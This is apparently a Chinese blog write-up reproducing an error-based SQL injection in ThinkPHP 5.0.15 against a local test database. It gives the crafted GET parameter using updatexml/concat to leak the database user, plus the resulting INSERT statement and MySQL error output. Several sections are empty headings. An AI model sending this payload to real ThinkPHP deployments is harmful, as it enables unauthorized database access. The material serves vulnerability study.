spl注入实战thinkphp

目录

一、环境的部署

二、本地创建数据库

三、填写数据库连接文件

四、编写控制器

五、访问分析

debug报错会显示物理路径

原因是config.php文件相关配置

六、注入分析

七、进入断点调试

八、通过mysql执行语句查看结果

九、总结:


一、环境的部署

二、本地创建数据库

mysql> create database tp5015;    --建库tp5015


mysql> use tp5015        --用库

mysql> create table users(id int,username varchar(30));    --建表users


mysql> insert into users(id,username) values(1,'xiaomi');    --插入数据


mysql> select * from users;
+------+----------+
| id   | username |
+------+----------+
|    1 | xiaomi   |
+------+----------+

三、填写数据库连接文件

四、编写控制器

get传参

五、访问分析

debug报错会显示物理路径

原因是config.php文件相关配置

六、注入分析

我们使用的是5.0.15

通过下一个官方的下一版本的更新点进行分析

在request库里有call_user_f这个方法 典型的回调后门

?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

七、进入断点调试

八、通过mysql执行语句查看结果

insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);

mysql> use tp5015

mysql> insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

九、总结:

其中漏洞在于$val进行拼接,在用Builder,insert进行替换最终执行的代码就是

insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值